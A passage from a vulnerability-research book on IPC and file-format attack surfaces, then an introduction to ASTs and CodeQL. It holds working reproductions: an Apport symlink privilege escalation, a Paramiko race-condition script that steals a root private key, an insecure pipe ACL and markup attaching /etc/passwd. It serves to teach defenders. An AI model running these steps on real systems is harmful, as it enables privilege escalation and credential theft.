From the attacker's perspective, network transport protocols expose a remote attack vector, while local transport protocols expose a (surprise!) local attack vector. You'd typically use IPC in local privilege escalation exploits, because that's the main security boundary in the local context. As RFC 2741 notes:

In the case where a local transport mechanism is used and both subagent and master agent are running on the same host, connection authorization can be delegated to the operating system features. The answer to the first security question then becomes: "If and only if the subagent has sufficient privileges, then the operating system will allow the connection."

Additionally, you can exploit local transport mechanisms in ways that are limited or not possible over a network, such as symlinks, race conditions, and timing attacks. You must gain familiarity with OS-specific implementations and protections of these mechanisms to exploit them effectively.

Files in Inter-Process Communication

From sockets to devices, developers can expose many input/output resources using files to provide a common set of channels to work with. For example, you can call read on a named pipe just as you would a regular file, even though they serve different functions. This subsection deals with regular files that we use in IPC.

While you can use files to exchange data between two processes, the overhead required for disk I/O operations leads to worse performance than in-memory IPC methods, such as named pipes.

As such, developers use files for IPC when persistence is needed or speed is less of a concern; one specialized use is lock files, which indicate that a particular resource is already in use by a running process. This can help prevent multiple instances of the same program from modifying the same file by checking if a lock file has been created. This is especially important for file IPC because file operations are not atomic, which means they aren't guaranteed to be executed in a single step.

For example, consider a text editor; if you start editing a file in one instance and absentmindedly open the file again in another, you could overwrite all your work with a single misplaced save as both editor processes attempt to write to the same file at the same time.

Watch this in action with the Vim editor, which comes preinstalled on macOS and Ubuntu (albeit as the minimal vi version). In one terminal, start editing a new file with the command `vi test`. In another, start editing the same file again with `vi test`. You should see the following:

E325: ATTENTION

Found a swap file by the name ".test.swp"

owned by: raccoon dated: Mon Mar 13 ...

file name: /test

modified: no

user name: raccoon host name: raccoon.local

process ID: 5968 (STILL RUNNING)

While opening file "test"

CANNOT BE FOUND

- (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution.
 - (2) An edit session for this file crashed.
If this is the case, use `:recover` or `"vim -r test"` to recover the changes (see `":help recovery"`).
If you did this already, delete the swap file `".test.swp"` to avoid this message.
-

This error message calls it a swap file instead of a lock file, because swap files serve a slightly different purpose of saving temporary data—in this case, your draft edits. However, Vim also uses this swap file as a lock file to warn users against starting another editing session.

Exploiting a Hard-Coded Path in Apport

When developers fail to implement proper validation of important file paths like lock files, attackers can exploit this weaknesses to control file reading and writing.

One implementation of lock files led to an interesting privilege escalation vulnerability (CVE-2020-8831) in Ubuntu via the Apport program. Apport is Ubuntu's crash handler to detect and log crashes in user-space processes. The code causing this vulnerability lay in the `check_lock` function

(<https://github.com/canonical/apport/blob/44a97a8/data/apport>), as Listing 3-9 shows.

```
def check_lock():
    '''Abort if another instance of apport is already running.
    This avoids bringing down the system to its knees if there is a series of
    crashes.'''

    # create lock file directory
    try:
        os.mkdir("/var/lock/apport", mode=0o744) ❶
    except FileExistsError:
        pass

    # create a lock file
    try:
        fd = os.open("/var/lock/apport/lock", os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW) ❷
    except OSError as e:
        error_log('cannot create lock file (uid %i): %s' % (os.getuid(), str(e)))
        sys.exit(1)

    def error_running(*args):
        error_log('another apport instance is already running, aborting')
        sys.exit(1)

    original_handler = signal.signal(signal.SIGALRM, error_running)
    signal.alarm(30) # Timeout after that many seconds
    try:
        fcntl.lockf(fd, fcntl.LOCK_EX) ❸
    except IOError:
        error_running()
    finally:
        signal.alarm(0)
        signal.signal(signal.SIGALRM, original_handler)
```

Listing 3-9: The Apport `check_lock` function


Apport executes `check_lock` as part of its main routine, which creates the lock file if it doesn't exist ❶ and tries to acquire a lock on it using the `fcntl.lockf` function ❸. This is a POSIX-compliant API call that places a lock on a range of bytes within a file. The operating system maintains a list of all locks to prevent processes from creating a lock if it already exists. Using such OS APIs allows developers to implement lock files in a more standardized way.

When relying on hard-coded paths like `/var/lock/apport/lock`, programs run the risk of attackers hijacking the file existing at that path ahead of time. This can be exploited with a *symbolic link*, or *symlink*, attack. A symlink is a file that points to another file or directory. This occurs transparently to

other programs, since the operating system automatically resolves symlinks at the filesystem level.

If a symlink `a` points to a file `b`, running `cat a` outputs the contents of `b` without any further processing required by the `cat` program. However, this transparency also poses a threat to programs relying on hard-coded paths, because an attacker could use a symlink to redirect the program to read or write a destination that the program has access to. This is a classic case of the “confused deputy problem,” in which an attack tricks a higher-privileged program to perform actions that the attacker hasn’t been granted permission to. Many local privilege escalation exploits rely on some variation of the confused deputy problem.

Fortunately, operating systems provide ways for developers to check whether a file is a symlink. In particular, the Linux `open` system call accepts various file creation flag options, including `O_NOFOLLOW`, which does the following, as stated in the Linux manual: “If the trailing component (i.e., base-name) of `pathname` is a symbolic link, then the `open` fails, with the error `ELOOP`.”

The Apport code appears to enable this flag , so why was it still vulnerable? The Linux manual section for `O_NOFOLLOW` continues, “Symbolic links in earlier components of the `pathname` will still be followed.”

This is the problem: if any other component in `/var/lock/apport/lock` other than `lock` is a symlink, Apport will still happily follow it. In the case of Ubuntu, `/var/lock` is a symlink to `/run/lock`, which is readable and writable by all users. As such, an attacker can create a symlink at `/var/lock/apport` pointing to any other directory. If Apport runs afterward, it creates a `lock` file in the attacker-controlled destination. Since the `os.open` call doesn’t specify a mode argument, it creates `lock` with the `00777` file permission mode value by default, meaning the file is also readable and writable by all users.

In short, an attacker can exploit this vulnerability to trick Apport into creating a globally-writable file in a location that an attacker doesn’t have access to. There are many locations in Ubuntu where this can lead to a local privilege escalation, such as `cron` or startup script directories.

Try this out in Ubuntu by downgrading to a vulnerable version of Apport. First, check the security update page for CVE-2020-8831 at <https://ubuntu.com/security/CVE-2020-8831>. The “Status” section lists the patched version for various Ubuntu releases. For the Xenial Xerus release (16.04.7 LTS), the patch version for the Apport package is 2.20.1-0ubuntu2.23.

Check the Apport package page for your Ubuntu release, such as <https://launchpad.net/ubuntu/xenial/+source/apport> for Xenial, and find the version right before the patch—in this case, 2.20.1-0ubuntu2.22. Next, go to <https://launchpad.net/ubuntu/+source/apport/2.20.1-0ubuntu2.22>, changing the last slug to the vulnerable version for your Ubuntu release. Under the “Builds” section, there should be a link to the built binaries for your architecture. Follow the link and find the “Built files” section, which should have the download link for the vulnerable package, `apport_2.20.1-0ubuntu2.22_all.deb` for the Xenial release. After downloading the `.deb` file, install it with `sudo dpkg -i <FILENAME>.deb`.

NOTE

In later versions, Apport enforces a hardened default user file-creation mode mask (umask) of 022 for the root user. Even though it creates the lock file with the default access mode value of 777, it's masked out against 022, ending up with a final value of 755. While it is globally-readable and executable, it's not writeable!

Next, as a low-privileged user, create a symlink from the the Apport lock directory to the system `/etc` directory with `ln -s /etc /var/lock/apport`. If you try to create a file in the directory with `touch /etc/evil`, it will fail with `touch: cannot touch '/etc/evil': Permission denied` for the low-privileged user since Ubuntu assigns write permissions to `/etc` for only the root user.

Now run the exploit by causing a crash that triggers Apport. In Bash, run `sleep 10s & kill -11 $!`, which backgrounds a sleep process, then kills it with a segmentation fault signal. This triggers the Apport crash handler. Use `ls -l /etc/lock` to check whether the lock file was created; you should see something like:

```
-rwxrwxrwx 1 root root 0 Mar 19 01:41 /etc/lock
```

Success! With the ability to create a world-writeable file as root, a low-privileged attacker can wreak all kinds of havoc.

Exploiting a Race Condition in Paramiko

Since file IPC is not atomic by default and relies on relatively slower disk I/O operations as compared to in-memory operations by other IPC methods, it's also more vulnerable to race conditions.

One example is CVE-2022-24302, a race condition in Paramiko, a Python module that implements the SSH2 protocol. Programs use Paramiko to create SSH clients and perform other related functions. For example, you might generate and save an RSA private key with Listing 3-10.

```
gen_save_key.py import paramiko

# Generate private RSA Key
pkey = paramiko.rsakey.RSAKey.generate(1024)

# Write private key to file
pkey.write_private_key_file('/tmp/testkey.pem')
```

Listing 3-10: Generating and saving an RSA private key with Paramiko

However, Paramiko's internal `_write_private_key_file` method is vulnerable to race conditions. Listing 3-11 shows the function code.

```
pkey.py def _write_private_key_file(self, filename, key, format, password=None):
    ❶ with open(filename, "w") as f:
        # race condition occurs here
    ❷ os.chmod(filename, o600)
        self._write_private_key(f, key, format, password=password)
```

Listing 3-11: Paramiko's `_write_private_key_file` method

The function first creates the file using `open` with the default world-readable permissions ❶ before applying a more restrictive permission mode with `os.chmod` ❷. In the short time between the two function calls, an attacker could open the file, reading from it even after Paramiko changes the file permissions and writes the private key data. This is because file permissions are checked only when a file is opened, even if the owner changes the permissions, so long as the file descriptor remains open.

To exploit this gap between `open` and `chmod`, you can use a Python script that repeatedly tries to open the known output file path and read from it, as in Listing 3-12.

```
exploit.py while True:
    try:
        f = open('/tmp/testkey.pem', 'r')
        input('file descriptor opened! press ENTER to read file')
        print(f.read())
        break
    except:
        continue
```

Listing 3-12: Paramiko’s race condition exploit script

Install the vulnerable version of Paramiko with `pip install paramiko==2.10.0`. Run `gen_save_key.py` as the root user to generate the key at `/tmp/testkey.pem`. As a non-privileged user, you shouldn’t be able to read from the generated key file. Start the exploit script as the non-privileged user. As the root user, remove the generated key file, then run `gen_save_key.py`. In the non-privileged user’s session, you should see a success message that allows you to proceed to read from the private key file:

```
$ python exploit.py
file descriptor opened! press ENTER to read file
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
```

For further practice, reproduce the “Nimbuspwn” collection of vulnerabilities (including symlink and time-of-check-time-of-use race condition) discovered by the Microsoft 365 Defender Research Team that led to privilege escalation in several Linux distributions (<https://www.microsoft.com/en-us/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn>).

Like all other attack surface vectors, file IPC can lead to vulnerabilities if an attacker hijacks the communication—in this case, by writing to a known file path the application uses—and injects malicious input. However, given the special nature of files, including symbolic links and lack of atomicity, you should also keep an eye for exploits like CVE-2020-8831 and CVE-2022-24302.

Sockets

A *socket* is an endpoint that allows communication between processes; for example, the remote variant in the simple vulnerable TCP server from Chapter 2. It is one of the more common IPC channels and hence presents a rich source of potential attack vectors.

Unix operating systems support *Unix Domain Sockets (UDS)*, a local form of sockets that operate in stream, datagram, and sequenced-packet modes, similar to TCP, UDP, and SCTP, respectively. However, UDS don't incur the overhead of a network protocol layer and thus run faster. Remembering the “everything is a file” principle, you can represent sockets as files in the operating system, as compared to network sockets you address using an IP address and port number.

Binding UDS to a filesystem pathname exposes it to many namespace hijacking issues of file IPC. Additionally, by delegating access control to the filesystem, UDS opens up the possibility of inappropriate file permissions.

CVE-2022-21950 was a vulnerability in Canna, a Japanese Kana to Kanji server, that arose from the hardcoded directory `/tmp/.iroha_unix` containing the UDS used by Canna. As described in the bug report (https://bugzilla.suse.com/show_bug.cgi?id=1199280), the openSUSE operating system patched a previous bug in Canna by changing the Canna `systemd` service configuration to remove the directory before and after running:

```
ExecPre=/bin/rm -rf /tmp/.iroha_unix
ExecStart=/usr/sbin/cannaserver -s -u wnn -r /var/lib/canna
ExecStopPost=/bin/rm -rf /tmp/.iroha_unix
```

Unfortunately, this meant there was a window of opportunity for another user to create the `/tmp/.iroha_unix` directory with world-writable permissions. Previously, this directory was configured in `systemd` to be created by the root user at startup, leaving no chance for a low-privileged attacker to override it. If Canna created a socket in the directory, an attacker could replace it with their own controlled socket, effectively creating a man-in-the-middle attack to intercept Japanese language user input in the operating system.

UDS provides one mechanism to prevent such attacks, as described in its Linux manual page: “UNIX domain sockets support passing file descriptors or process credentials to other processes using ancillary data.”

This feature allows sockets to identify the sending process when receiving a message by accepting additional data in the struct `ucred` format:

```
struct ucred {
    pid_t pid;    /* Process ID of the sending process */
    uid_t uid;    /* User ID of the sending process */
    gid_t gid;    /* Group ID of the sending process */
};
```

For example, a privileged program listening to a socket can ensure all messages it receives come from privileged users groups, providing an addi-

tional level of access control. Since this mechanism occurs in the kernel, it's impossible to spoof credentials in a typical scenario.

Windows added support for UDS in 2017 (https://devblogs.microsoft.com/commandline/af_unix-comes-to-windows). As more forms of IPC are added and updated in operating systems, the potential attack surface of software grows.

Named Pipes

Named pipes are another means by which processes can communicate using a file-like paradigm. However, on Windows, named pipes operate in a separate access control model separate from the default filesystem, creating an additional layer of potential authorization issues.

Windows Named Pipe Filesystem

Unlike named pipes on Unix, which can be accessed only by one reader process and one writer process at a time, Windows allows for named pipe communication between a server and multiple clients in a special *named pipe filesystem*. Due to the special namespace property of Windows named pipes, different processes can create multiple server instances of a named pipe at the same time.

Take a closer look at the `CreateNamedPipe` function, which creates an instance of a named pipe:

```
HANDLE CreateNamedPipeA(
    [in]          LPCSTR          lpName,
    [in]          DWORD           dwOpenMode,
    [in]          DWORD           dwPipeMode,
    [in]          DWORD           nMaxInstances,
    [in]          DWORD           nOutBufferSize,
    [in]          DWORD           nInBufferSize,
    [in]          DWORD           nDefaultTimeOut,
    [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
```

This API call takes in a `nMaxInstances` argument, which allows the first instance of the pipe to specify the maximum number of instances that can be created for the pipe identified by `lpName`. As long as `nMaxInstances` is greater than 1 or `PIPE_UNLIMITED_INSTANCES` (255), we can create multiple instances. This is necessary for multi-threaded named pipe servers or overlapping I/O operations to serve simultaneous connections from multiple clients, but allows other processes to hijack the name pipe.

Take, for example, a high-privileged program that creates a named pipe server and client for IPC. If a low-privileged attacker creates the named pipe server before the program does, it could potentially intercept messages from the client. Worse, if the client makes use of the server's responses to execute actions such as running commands, it could lead to privilege escalation.

The order of creation is important because clients connect to server instances in FIFO (first in, first out) order. Additionally, the `dwOpenMode` argu-

ment must not include the `FILE_FLAG_FIRST_PIPE_INSTANCE (0x00080000)` flag, which prevents creating additional instances of a pipe. This was the case for CVE-2022-21893, a privilege escalation exploit in Windows Remote Desktop Services (RDS) that allowed an attacker to intercept the messages of RDS named pipe IPC.

Security Misconfigurations in Named Pipes

Since Windows named pipes rely on developers to properly set an access control list using the `lpSecurityAttributes` argument rather than delegating access control to the filesystem, misconfigured access can lead to information leaks for privilege escalation.

The default `lpSecurityAttributes` value grants read access to members of the Everyone group and the anonymous account. If an unaware developer sends sensitive data over a named pipe, a low-privileged attacker can access it.

Additionally, a misconfigured ACL could allow an attacker to create a client connection to a privileged named pipe server and send arbitrary messages. If the server's message handler uses the input to execute privileged actions, a security boundary is crossed. Take a look at the description for CVE-2022-24286:

Acer QuickAccess 2.01.300x before 2.01.3030 and 3.00.30xx before 3.00.3038 contains a local privilege escalation vulnerability. The user process communicates with a service of system authority through a named pipe. In this case, the Named Pipe is also given Read and Write rights to the general user. In addition, the service program does not verify the user when communicating. A thread may exist with a specific command. When the path of the program to be executed is sent, there is a local privilege escalation in which the service program executes the path with system privileges.

While the source code of Acer QuickAccess isn't publicly accessible, this description suggests that an instance of a misconfigured ACL for a named pipe led to privilege escalation. Listing 3-13 shows how we might create a world-readable and -writable named pipe like this in C#.

```
worldrwpipe.cs using System;
                using System.IO.Pipes;
                using System.Security.AccessControl;
                using System.Security.Principal;

                public class Program
                {
                    static void Main(string[] args)
                    {
                        // create world-readable and writable ACL
                        SecurityIdentifier securityIdentifier = new SecurityIdentifier(
                            WellKnownSidType.WorldSid,
```

```

        null
    );
    PipeAccessRule pipeAccessRule = new PipeAccessRule(
        sid,
        PipeAccessRights.ReadWrite,
        AccessControlType.Allow
    );
    PipeSecurity pipeSecurity = new PipeSecurity();
    pipeSecurity.AddAccessRule(pipeAccessRule);

    // create named pipe server with ACL
    NamedPipeServerStream pipeServer = NamedPipeServerStreamAcl.Create(
        "worldRWPipe",
        PipeDirection.InOut,
        NamedPipeServerStream.MaxAllowedServerInstances,
        PipeTransmissionMode.Byte,
        PipeOptions.Asynchronous,
        0,
        0,
        pipeSecurity
    );

    pipeServer.WaitForConnection();

    // dangerous actions with untrusted input here...
}
}

```

Listing 3-13: A world-readable and -writable named pipe

In Unix systems, we create named pipes with the `mkfifo` API call, which takes in the pipe pathname as the first argument and the file permissions mode as the second. As with other file-creation APIs, we modify the effective mode by the umask with `mode & ~umask`. The filesystem then determines access to the named pipe like any other file.

Other IPC Methods

The number of IPC methods is constantly growing as operating systems and third-party software add features. The following is a non-exhaustive list:

- Shared memory
- System signal
- Message queue
- Memory-mapped file
- Remote procedure calls
- Component Object Model (COM, Windows only)

- Dynamic Data Exchange (DDE, Windows only)
- Clipboard
- D-Bus (Linux only)
- MailSlot (Windows only)

Developers use these APIs in creative (and potentially insecure) ways. For example, I analyzed an application that used Windows' `SendMessage` function—which typically sends simple one-way messages between windows on the desktop user interface—to pass complex serialized data structures. It determined which window to send the message to using the `FindWindow` function that accepts two arguments: `lpClassName` and `lpWindowName`. Since it set `lpClassName` to `NULL`, `FindWindow` returned the first window whose title matched `lpWindowName`. This is even more insecure than named pipes because the window returned by `FindWindow` isn't guaranteed to be in FIFO order, allowing an attacker to MITM any messages sent using this channel.

Stay alert for potentially unorthodox IPC implementations. Since IPCs share a purpose of exchanging messages between processes, they often display similar patterns in code—such as client-server listeners—that allow you to identify them. As part of attack surface mapping, try enumerating all IPCs used by the target.

File Formats

Almost every software needs to handle files. From newline-delimited configuration files to video clips, we encode data in a variety of formats. Like protocols, file formats require software to parse data structures in a standard manner. Unfortunately, developers sometimes make mistakes in implementation that can lead to vulnerabilities, and some file formats may fail to consider security concerns by design, forcing developers to patch gaps in the aftermath.

We document many file formats using RFCs, but proprietary or older formats may require more digging. You'll come to recognize common components and types of file formats. For example, file formats are roughly divided into three parts:

Header Appears at the start of the file and usually begins with a set of unique bytes so software can identify the file format. Contains metadata such as version, feature flags, and other information needed to parse the file properly.

Body Contains the main data associated with the format, often grouped into chunks for software to parse easily.

Footer Contains additional metadata, such as checksums to ensure data integrity.

There is a large variance among formats. For example, the XML format is markup-based, relying on sets of symbols that indicate how to process different parts of the file. Markup-based formats are typical for text docu-

ments, such as this book, which I wrote in LaTeX. For XML, the most important symbols are the <> characters, which designate tags in an XML document:

```
<?xml version="1.0"?>
<greeting>Hello, world!</greeting>
```

There's no evidence of a footer in this example XML document.

Other formats diverge even further from the header-body-footer pattern, such as directory-based formats, which organize data into multiple files within a directory structure. For example, Microsoft Office documents (such as *.docx*) are essentially ZIP files in disguise, containing resource and meta-data files such as XMLs, images, and so on. You're able to open a *.docx* file in a file archiver software like 7-Zip because the raw bytes of the file are arranged in the ZIP archive format. Software like Microsoft Word differentiates a DOCX from a ZIP file via only the file name extension. At the same time, you can't create a random ZIP file, change the extension to *.docx*, and expect Microsoft Word to open it. The DOCX format adds additional requirements on top of ZIP, such as the existence and organization of files in the archive as well as their contents.

Given the diversity of file formats, I'll highlight some common patterns that typically warrant greater scrutiny.

Type-Length-Value

The *Type-Length-Value* (TLV) pattern occurs in both protocols and file formats. We use TLV for chunked data in the body because its structure allows a parser to easily identify and consume chunks of variable length. It consists of three parts:

- Type** The kind of data field
- Length** The size of the data field
- Value** The data itself

The prevalent Portable Network Graphics (PNG) format uses the TLV pattern. The body of a PNG file consists of a series of chunks made up of four parts: length (4 bytes), chunk type (4 bytes), chunk data (*length* bytes), and Cyclic Redundancy Checksum (CRC) (4 bytes). For example, Table 3-1 shows how the header chunk type, denoted by chunk type code IHDR, is parsed.

Table 3-1: An Example PNG IHDR Chunk

Part	Hex bytes	Value
Length	00 00 00 0d	13
Type	49 48 44 52	IHDR
Data	00 00 00 01	Width: 1
Data	00 00 00 01	Height: 1
Data	08	Bit depth: 8
Data	00	Color type: 0
Data	00	Compression: 0
Data	00	Filter: 0
Data	00	Interlace: 0
CRC	3a 7e 9b 55	CRC-32: 3A7E9B55

When implementing TLV, it's common to fail handling mismatches between the expected size of a chunk as denoted by its type and the length value. For example, the IHDR chunk, as defined by the PNG format, should contain 13 bytes worth of metadata. However, a careless developer could blindly trust the value given by the length part and attempt to copy an attacker-controlled length bytes (which has a maximum value of 2,147,483,647) into a 13-byte IHDR struct buffer.

I observed one such vulnerability in Apache OpenOffice (CVE-2021-33035), which accepted the dBase database file (DBF) format. The DBF format includes a field descriptor array in the header where each field descriptor defines the field type (1 byte) and size (1 byte). Unfortunately, OpenOffice's code trusted both these values such that for a field type I (corresponding to an integer), it allocated a buffer of 4 bytes—which would be correct for an Int32 type—but copied the attacker-controlled *size* number of bytes into that buffer:

```
// nType is taken from field descriptor type value
else if ( DataType::INTEGER == nType )
{
    // sal_Int32 type is 4 bytes
    sal_Int32 nValue = 0;
    // nLen is taken from field descriptor size value
    memcpy(&nValue, pData, nLen);
    *(_rRow->get())[i] = nValue;
}
```

Since the size field in the field descriptor structure was 1 byte, it had a maximum value of 255, leading to an overflow of 251 bytes that overwrote a return pointer address on the stack. This was sufficient to build a full-blown code execution exploit (<https://spaceraccoon.dev/all-your-d-base-are-belong-to-us-part-1-code-execution-in-apache-openoffice>).

Many file formats and network protocols apply the TLV pattern. Test for vulnerabilities that arise from type and length discrepancies.

Directory-Based

A significant subset of file formats are *directory-based*, meaning the file is actually a wrapper around many other files. Typically, directory-based formats require a manifest that contains additional metadata about the rest of the files, including where they're located. This pattern tends to expose two types of vulnerabilities: file traversal- and child format-related bugs.

File traversal occurs if the software insecurely parses the directory data. Take the ZIP format, on which many directory-based formats are built, which is generally structured like this:

```
[local file header 1]
[file data 1]
[data descriptor 1]
.
.
.
[local file header n]
[file data n]
[data descriptor n]
[archive decryption header]
[archive extra data record]
[central directory]
[zip64 end of central directory record]
[zip64 end of central directory locator]
[end of central directory record]
```

Each file header (which appears in both local file headers and the central directory structure) contains metadata about a file contained in the archive. In particular, the header includes a file name field of variable size. The file name can include a relative path; for example, *nested/file* is extracted to *./nested/file* in the output directory. However, there's no explicit restriction on filenames that include path traversal values, such as *.././../tmp/file*. A parser that trusts this value could extract files into dangerous locations, such as cron job folders or application working directories. When reviewing code related to directory-based formats, pay attention to how the software handles data related to the location of the files in the directory.

Next, consider the type of files contained within the directory. For example, many directory-based formats use an XML file as their manifest that contains important information about how to parse the rest of the files. As such, software that handles the format must parse the XML manifest first. The XML format comes with a number of potential vulnerabilities if parsed insecurely, such as XML External Entity (XXE) injection. In short, XML allows the inclusion of external entities, including local and remote files. By crafting an XML file to use these entities, an attacker can force a vulnerable parser to disclose local file data to a remote address.

This was the case for CVE-2022-0219, an XXE injection vulnerability in JADX, a popular open source Android application decompiler. Android applications typically appear in the Android Package (APK) format, which

must include an *AndroidManifest.xml* manifest file. By inserting an XXE payload into *AndroidManifest.xml*, an attacker could cause JADX to disclose local file data when exporting a decompiled Android application. To patch this, JADX switched to a secure XML parser that didn't process external entities.

Child format-related vulnerabilities occur because developers tend to focus on the parent directory-based format and delegate handling child file formats to external libraries, which may not parse securely by default. Look for instances in which child files are processed—such as manifests—and validate their usage.

Sometimes, both types of vulnerabilities occur in the same software. I encountered this in a custom package format that was based on ZIP and used an XML manifest. By chaining a ZIP path traversal and XXE, I was able to enumerate the file system and upload a web shell to achieve full remote code execution (<https://spaceraccoon.dev/a-tale-of-two-formats-exploiting-insecure-xml-and-zip-file-parsers-to-create-a>).

Custom Fields

File formats often include reserved bytes or extendable fields that allow developers to add custom functionality. Often, custom functionality is badly documented and adds unknown features, meaning they can be particularly dangerous.

For example, the iCalendar (ICS) format—used by nearly all calendar software, from Outlook to Apple Calendar—provides a “standard mechanism for doing non-standard things” via non-standard properties denoted by the *x-* prefix. This led to all kinds of interesting behavior that went beyond the default ICS properties, such as event location, time, and name.

Old versions of Microsoft Office supported the *X-MS-OLK-COLLABORATEDOC* property that automatically opened a conferencing collaboration document when an event started. Given that events can be created remotely via event invitations, this could lead to dangerous outcomes, like forcing a user to open a malicious file from a network share.

Sometimes, developers jerry-rig custom fields by parsing data differently from how a standard defines it. For example, the HTML format defines the `<link>` element, which specifies external resources related to the current HTML document. The type of relationship is denoted by the *rel* attribute. Thus, to indicate a stylesheet located at *main.css*, a HTML document could include the following element:

```
<link href="main.css" rel="stylesheet">
```

The HTML standard defines a list of supported tokens for *rel* and specifies the expected behavior.

The WeasyPrint HTML-to-PDF conversion engine extends the function of `<link>` by supporting a custom attachment value for *rel* that doesn't appear in the HTML standard. By using this value, a developer can include local files as attachments to the output PDF:

```
<link href="file:///etc/passwd" rel="attachment">
```

This isn't a vulnerability in itself, but a feature—though a developer that uses WeasyPrint without accounting for this behavior could introduce a vulnerability in their software.

To identify these custom implementations, look for ways in which the code diverges from a file format's specification beyond just implementation errors. While established standards often consider various security issues through an open vetting process, custom extensions may not undergo such scrutiny and can repeat common mistakes.

Conclusion

We explored a range of potential attack surfaces in this chapter, from network protocols to inter-process communication. You learned how to identify the relevant source code that defines and exposes these attack surfaces, and explored common patterns in file formats and vulnerabilities associated with them.

Ultimately, the attack surface of any software can vary greatly based on the threat model and environment. A local attacker on Windows can exploit IPCs like window messages, while remote attackers can access only exposed network protocols and network-enabled IPCs, such as named pipes.

What constitutes a viable attack surface largely depends on whether a security boundary is crossed. While enumerating the attack surface of software from its code, use this distinction to correctly identify vulnerabilities.

By enumerating potential attack vectors in source code analysis, you'll be able to quickly focus on exploitable scenarios. Applying the various techniques outlined in this chapter will better equip you to assess an application's attack surface and build a realistic threat model before diving into the depths of code review.

4

AUTOMATED VARIANT ANALYSIS

Only connect!

*—E.M. Forster, *Howards End**

Now that you’ve approached code analysis from both the inside-out and outside-in, it’s time to connect the two. As you labored over the minutiae of sink and source analysis, you might’ve wondered if it was possible to automate everything. The answer to that question is one you’ll often encounter in vulnerability research: it depends.

In this chapter, you’ll learn the theory behind automated code analysis before practicing with two popular static code analysis tools, CodeQL and Sengrep. Next, you’ll apply these tools to variant analysis by identifying a vulnerable code pattern from a single vulnerability to discover repeated variants elsewhere in the code. Finally, you’ll attempt multi-repository variant analysis across multiple projects.

Abstract Syntax Trees

Modern static code analysis tools vary in their implementation, but most have roots in academic research. To perform better than a simple regex

match-and-replace operation, these tools need to understand the code in some way—the difference between a function and a variable, class inheritance for object-oriented language, and so on. This understanding of code is usually expressed in the form of an *Abstract Syntax Tree (AST)*, a representation of the syntactic structure of a program. ASTs serve a far more fundamental purpose than code analysis: compilers use ASTs as an intermediate representation of source code to quickly perform optimizations and syntax checks before compiling it down to machine code.

You can visualize what an AST means with Python's built-in `ast` module:

```
import ast
// Python source code to convert to AST
code = """
name = 'World'
print('Hello,' + name)
"""

tree = ast.parse(code)
print(ast.dump(tree, indent=4))
```

Run the script to convert this source code into an AST. You should get the following output:

```
❶ Module(
  body=[
    Assign(
      targets=[
        Name(id='name', ctx=Store())],
      value=Constant(value='World')),
    ❷ Expr(
      ❸ value=Call(
        func=Name(id='print', ctx=Load()),
        args=[
          BinOp(
            left=Constant(value='Hello,'),
            op=Add(),
            right=Name(id='name', ctx=Load()))],
        keywords=[])],
    type_ignores=[])
```

Take a few moments to parse this output. It is organized in a tree structure, with `Module` as the root node ❶ branching off into child nodes like `Expr` ❷ and `Call` ❸.

Now suppose that `print` is a dangerous sink function. You want to know if executing the following Python code will call `print`:

```
def old_greet(name):
    ❶ print('Hello, ' + name)
```

```
yell = print
```

② yell('HELLO, WORLD')

In the source code, a simple function definition prints out the 'Hello, ' string followed by its first argument. The code then assigns the built-in print function to the yell variable before calling it with the 'HELLO, WORLD' argument.

The naive approach would be to use a regex like `/print\[^\]*\)/g`, however, you'd end up with a false positive ❶ and a false negative ❷. Although the `old_greet` function calls `print`, it never uses it in the script. In contrast, `yell` does, but due to a little reassignment the regex misses it. A regex that can deal with all possible edge cases would be incredibly complex and difficult to debug.

Instead, traverse the AST to identify all `Call` nodes that will actually occur based on the meaning of their parent nodes. Use the `ast` module again to convert the code into an AST. It should look something like this:

```
Module(
  body=[
    FunctionDef(
      name='old_greet',
      args=arguments(
        posonlyargs=[],
        args=[
          arg(arg='name')],
        kwonlyargs=[],
        kw_defaults=[],
        defaults=[]),
      body=[
        Expr(
          value=Call(
            func=Name(id='print', ctx=Load()),
            args=[
              BinOp(
                left=Constant(value='Hello, '),
                op=Add(),
                right=Name(id='name', ctx=Load()))],
            keywords=[])),
        decorator_list=[]),
    Assign(
      targets=[
        Name(id='yell', ctx=Store())],
      value=Name(id='print', ctx=Load()),
      Expr(
        value=Call(
          func=Name(id='yell', ctx=Load()),
          args=[
```

```
        Constant(value='HELLO, WORLD']],  
        keywords=[])),  
    type_ignores=[])
```

Equipped with knowledge of what each node does, you can efficiently traverse the AST by only going down nodes like `Assign` and `Expr`, ignoring `FunctionDef` and similar nodes unless the defined function is called at some point. By tracking variables affected by `Assign`, you'll eventually correctly identify that the path in the tree reaches a `Call` node whose `func` attribute value is actually `print`.

The tree structure allows various optimized algorithms to query the AST for the information you need and avoid wasting compute cycles on pruned branches. Additionally, you can further represent the logical flow through a program by a directed graph typically represented as a *control flow graph* (CFG), which allows even more advanced and targeted queries on code. Another type of representation is a *data flow graph* (DFG). While CFGs are concerned with the order of execution in a program (such as if-else statements and loops), DFGs focus on the propagation and transformation of data (including variables and expressions). Both CFGs and DFGs are useful representations of code for automated analysis.

All this theory is important to understand how static code analysis tools work. Any abstraction necessarily loses some level of detail. While your manual code analysis may be more comprehensive in this regard, it is often not possible to manually review the code of complex software that may consist of millions of lines of code. As such, by knowing the strengths and weaknesses of these tools, you can use them more effectively to support your code analysis strategy.

Static Code Analysis Tools

Not all source code analysis tools are created equal. Differences in abstractions and querying methods affect how effectively a tool can search for certain patterns in code. In the next sections, you'll observe these differences in action with `CodeQL` and `Semgrep`.

CodeQL

`CodeQL` is a code analysis engine with deep roots in academia. It originated from a research team at Oxford that developed an object-oriented query language (originally named `.QL`) which could query a relational database containing a model of the code. The database focus is one of the key differences of `CodeQL` from `Semgrep`; `CodeQL` needs to build a database of the code before performing any queries. For compiled languages, this is integrated with the programming language's build system, such as `make` for C and C++. For non-compiled languages like Python, `CodeQL` uses extractors to parse the code before storing it in the database.

Not surprisingly, CodeQL's query language holds many similarities to database query languages like SQL. Take for example this CodeQL query to find calls to print:

```
import python

from Call call, Name name
where call.getFunc() = name and name.getId() = "print"
select call, "call to 'print'."
```

